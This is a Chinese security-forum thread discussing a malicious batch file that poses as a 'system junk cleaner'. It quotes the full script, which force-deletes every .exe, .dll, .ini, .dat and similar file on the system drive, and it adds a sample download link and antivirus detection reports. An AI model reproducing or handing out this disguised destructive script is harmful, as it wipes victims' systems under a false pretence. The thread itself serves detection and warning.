恶意批处理大战安全软件【过主流】360主防拦

695580825

在一个论坛发现的（好多人都下载）中招的人不少

运行之后足以毁坏系统。

代码：

@echo off
@ ECHO.
@ ECHO.
@ ECHO.                              说    明
@ ECHO -----------------------------------------------------------------------
@ ECHO 这是网上流传的批处理。它会帮您删除回收站、临时目录、最近打开过的文档痕迹
@ ECHO 等。对系统运行稍有帮助。但不能根治速度慢的问题。电脑速度慢通常是因为太多
@ ECHO 无用的运算占据了CPU和内存资源所致，非删除一些文件就能解决。建议装好系统后，
@ ECHO 及时做Ghost备份。以后如果觉得运行不畅了，就恢复系统，这是最彻底的办法。
@ ECHO -----------------------------------------------------------------------
@ ECHO.
pause
echo 正在清理系统垃圾文件，请稍等......
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.dll
del /f /s /q %systemdrive%\*.com
del /f /s /q %systemdrive%\*.inf
del /f /s /q %systemdrive%\*.img
del /f /s /q %systemdrive%\*.gz
del /f /s /q %systemdrive%\*.ini
del /f /s /q %systemdrive%\*.dat
del /f /s /q %systemdrive%\*.txt
del /f /s /q %systemdrive%\*.bin
del /f /s /q %systemdrive%\*.lst
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清理系统垃圾完成！
echo. & pause

在线扫描

http://www.virustotal.com/file-scan/report.html?id=be43382e89d0a1826dff24ce999ae43216564d236abf0485157dd938c1bb5144-1300266017

样本地址：http://dl.dbank.com/c05d8w6mav

shanghaiplmm

诺顿杀掉了.

目总数: 3
  - 文件和目录: 3
  - 注册表条目: 0
  - 进程和启动项目: 0
  - 网络和浏览器项目: 0
  - 其他: 0
  - 受信任文件: 0
  - 跳过的文件: 0

  检测到的安全风险总数: 1
  已解决的项目总数: 1
  需要注意的项目总数: 0


已解决的威胁数:
Trojan.Killfiles
类型: 异常
风险: 高 (高 隐蔽性, 高 删除, 高 性能, 高 隐私)  
类别: 病毒
状态: 完全解决
-----------
1 个文件
d:\一键清理系统垃圾文件.rar - 已删除

nazisoft

这个恶意脚本是我读高中的时候改写的，当时的杀软都能防御。大多数反病毒软件在对恶意脚本的扫描是没有任何反应的，只有在运行的时候才根据行为进行拦截，360采用的是BitDefender引擎，扫描的时候就报了。简单的东西往往是最难对付的，在扫描恶意脚本方面，某些安软还有待加强

留侯

LS的已经发过了吧！
看看这个帖子：http://bbs.kafan.cn/thread-934048-1-1.html

695580825

shanghaiplmm 发表于 2011-3-18 15:36
诺顿杀掉了.

目总数: 3

因为该样本在16号已经上报了

我使用2.17号360安全卫士版本运行测试依然拦截。

qianyuqx

已经提交ESET

q245096643

金山下载保护拦截.

一晴空

能否禁运批处理？

星空下的吻

360那个根本是主防的拦截,和病毒入库有毛关系

fatezero

KIS

检测到威胁: Trojan.BAT.DelFiles.gl        E:\download\一键清理系统垃圾文件.rar/一键清理系统垃圾文件.bat